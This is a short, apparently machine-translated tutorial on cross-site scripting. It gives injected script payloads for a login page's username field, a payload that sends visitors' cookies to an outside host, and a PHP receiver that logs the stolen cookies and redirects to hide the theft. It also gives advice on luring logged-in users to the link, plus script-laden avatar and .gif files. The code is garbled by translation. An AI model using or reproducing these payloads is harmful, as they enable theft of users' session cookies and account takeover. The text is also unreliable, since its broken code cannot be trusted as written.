Several ideas on cross-site scripting (6)

1. Construct a commit to display the user Cookie information:
<A href = "http://www.xxxx.net/txl/login/login.pl? Username = & passwd = & OK. x = 28 & OK. y = 6> http://www.xxxx.net/txl/login/login.pl? Username = & passwd = & OK. x = 28 & OK. y = 6 "> http://www.xxxx.net/txl/login/login.pl? Username = <script> alert (document. cookie) </script> & passwd = & OK. x = 28 & OK. y = 6

2. If the above request gets the expected results, we can try the following request:
Window. open ("http://www.notfound.org/info.php? "% 2Bdocument. cookie)& Passwd = & OK. x = 28 & OK. y = 6> http://www.xxx.net/txl/login/login.pl? Username = <script> window. open ("http://www.notfound.org/info.php? "% 2Bdocument. cookie) </script> & passwd = & OK. x = 28 & OK. y = 6
In the example:
 

<? Php
$ Info = getenv ("QUERY_STRING ");
If ($ info ){
$ Fp = fopen ("info.txt", "");
Fwrite ($ fp, $ info ."");
Fclose ($ fp );
}
Header ("Location: http://www.xxx.net ");

Note: "% 2B" is "+" URL encoding, and "% 2B" can only be used here, because "+" will be processed as a space. The subsequent header statements are purely intended to increase concealment.
3. If the above URL runs correctly, the next step is to lure users logging on to xxx.net to access the URL, and we can get the sensitive information in the user's Cookie.
4.
<IFRAME src = "ip" frameBorder = 0 width = 500 scrolling = noshade height = 400> </IFRAME>

5. You can create the following Avatar file:
Thiz.gif

<Script>
Window. location. href = "http://c4st.xxx.net/tmp/info.php? '% 2Bdocument. cookie;
</Script>
6.create an x.gif with the following content:
 

<Script> alert (document. cookie) </script>